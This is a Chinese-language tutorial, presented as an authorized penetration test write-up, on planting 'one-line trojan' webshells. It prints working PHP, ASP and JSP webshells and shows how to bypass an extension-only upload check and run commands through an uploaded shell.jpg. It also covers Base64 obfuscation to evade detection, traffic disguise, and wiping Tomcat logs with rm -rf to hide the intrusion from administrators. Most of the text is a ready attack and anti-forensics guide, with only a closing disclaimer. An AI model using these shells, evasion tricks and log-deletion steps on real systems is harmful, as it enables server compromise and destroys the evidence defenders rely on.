一、从一次渗透测试说起

在一次授权的渗透测试中,我们接到任务攻破一家公司内部的研发环境。目标是获取其内部代码仓库的源代码。初步信息收集后,我们发现研发服务器中存在一个未公开的 Web 应用程序,运行在 Tomcat 上。进一步探测后,发现该应用的上传文件功能存在漏洞,可以绕过文件类型检测,从而上传恶意代码。

在这种情况下,能够快速部署一个「一句话木马」是绝佳选择。它隐藏在普通文件中,体积小,功能强大,可以为我们在目标服务器上打开任意操作的大门。这篇文章将从实战角度,带你深度解析如何使用一句话木马完成整个攻击链。

---

二、一句话木马的秘密

一句话木马的核心思想是通过极简的代码语句,在服务器端执行恶意命令。通常它会结合 WebShell 使用,能够在目标服务器上获取交互式的命令执行能力。以下是几种经典的一句话木马代码:

PHP版本

<pre><code class="language-php">&lt;?php @eval($_POST[&#039;cmd&#039;]); ?&gt;</code></pre>

  • 解释eval函数负责动态执行传入的代码,攻击者可以通过 POST 请求传递代码数据给参数 cmd
  • 威力:可以执行任意 PHP 指令,甚至调用系统命令。

ASP版本

<pre><code class="language-asp">&lt;%Execute request(&quot;cmd&quot;)%&gt;</code></pre>

  • 解释:直接调用 Execute 来运行传入的恶意代码,攻击者通过请求参数「cmd」传递命令。
  • 威力:在 ASP 环境下的经典木马,效果与 PHP 类似。

JSP版本

<pre><code class="language-jsp">&lt;% Runtime.getRuntime().exec(request.getParameter(&quot;cmd&quot;)); %&gt;</code></pre>

  • 解释:通过 getRuntime().exec() 方法执行系统命令,攻击者可以通过参数 cmd 调用命令行。
  • 威力:专门针对 Java Web 环境。

这些木马的特点是 简单、隐蔽、功能强大。即使目标系统对文件大小或复杂度有严格限制,也能轻松绕过。

---

三、真实案例:如何植入一句话木马

漏洞成因分析

这次渗透测试中的目标 Web 应用存在一个文件上传功能,但对上传文件的类型限制不够严格。通过抓包分析,发现文件类型的检测仅依赖文件扩展名,而没有对文件内容进行深度检查。这意味着我们可以通过修改文件扩展名的方式绕过限制,将恶意代码上传到服务器。

环境搭建

为了复现该场景,我们可以搭建以下环境:

  1. 安装 Tomcat 服务器以及支持 JSP 的 Web 应用。
  2. 创建一个简单的文件上传页面。
  3. 模拟文件上传漏洞,允许上传 .jpg 等文件,但实际上不检查文件内容。

以下是漏洞页面的示例代码: <pre><code class="language-jsp">&lt;%@ page language=&quot;java&quot; contentType=&quot;text/html; charset=UTF-8&quot; pageEncoding=&quot;UTF-8&quot;%&gt; &lt;html&gt; &lt;body&gt; &lt;form action=&quot;upload.jsp&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt; 上传文件: &lt;input type=&quot;file&quot; name=&quot;file&quot;&gt; &lt;input type=&quot;submit&quot; value=&quot;提交&quot;&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt;</code></pre>

黑客示意图

上传功能的核心代码: <pre><code class="language-jsp">&lt;% String path = application.getRealPath(&quot;/&quot;) + &quot;uploads/&quot;; File file = new File(path); if (!file.exists()) { file.mkdirs(); }

Part part = request.getPart(&quot;file&quot;); String filename = Paths.get(part.getSubmittedFileName()).getFileName().toString(); part.write(path + filename); %&gt;</code></pre>

黑客示意图

实战步骤

  1. 构造恶意 JSP 文件
  2. 我们写一个简单的一句话木马,命名为 shell.jsp`jsp <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> ` 保存后,修改文件扩展名为 .jpg,例如 shell.jpg

  1. 上传恶意文件
  2. 使用浏览器的上传功能或直接使用 Burp Suite 修改请求,将 shell.jpg 上传到服务器。

  1. 访问 WebShell
  2. 上传成功后,文件存储路径为 /uploads/shell.jpg。通过浏览器访问该路径,并在 URL 中传入参数 cmd,例如: ` http://target.com/uploads/shell.jpg?cmd=whoami ` 此时,服务器会执行 whoami 命令并返回结果。

---

四、免杀与流量隐藏

黑客示意图

直接使用一句话木马会触发一些基础的安全检测,因此需要一定的免杀技巧:

文件隐秘处理

  1. 伪装扩展名:将上传文件保存为 .jpg 或其他常见扩展名,以避免触发文件检测规则。
  2. 代码混淆:通过 Base64 编码或字符串拆分技术,隐藏木马代码。例如:
  3. `jsp <% Runtime.getRuntime().exec(new String(Base64.getDecoder().decode(request.getParameter("cmd")))); %> `

流量伪装

  1. 修改 User-Agent,将请求伪装为正常浏览器访问。
  2. 使用 HTTPS 加密传输,避免流量被明文分析。

---

五、如何清理痕迹

完成攻击后,为了避免被管理员发现,我们需要进行痕迹清理:

  1. 删除上传的 WebShell 文件。
  2. 清理日志:通过一句话木马执行命令删除服务器日志文件,例如:
  3. ` rm -rf /var/log/tomcat/* `

  4. 覆盖痕迹:将无害文件覆盖到同名路径。例如上传一个普通图片覆盖 shell.jpg

---

六、个人经验分享

在实际渗透测试中,一句话木马是一项非常高效的工具,但它也有局限性:

  1. 如果目标服务器开启了严格的权限控制(如 SELinux),可能无法执行系统命令。
  2. 防御工具(如 Web 应用防火墙 WAF)可以通过特征检测拦截常见的一句话木马。

在面对这些问题时,可以采取以下策略:

  • 多种木马变种结合使用,绕过特征检测。
  • 使用内存加载技术,将恶意代码直接注入到目标进程,避免文件落地。
  • 动态响应目标环境,调整攻击工具和方法,比如使用 Cobalt Strike 的 Beacon 隧道进行后渗透操作。

安全测试人员提醒:一句话木马仅限于授权评估,请勿用于非法行为,违者需承担法律责任。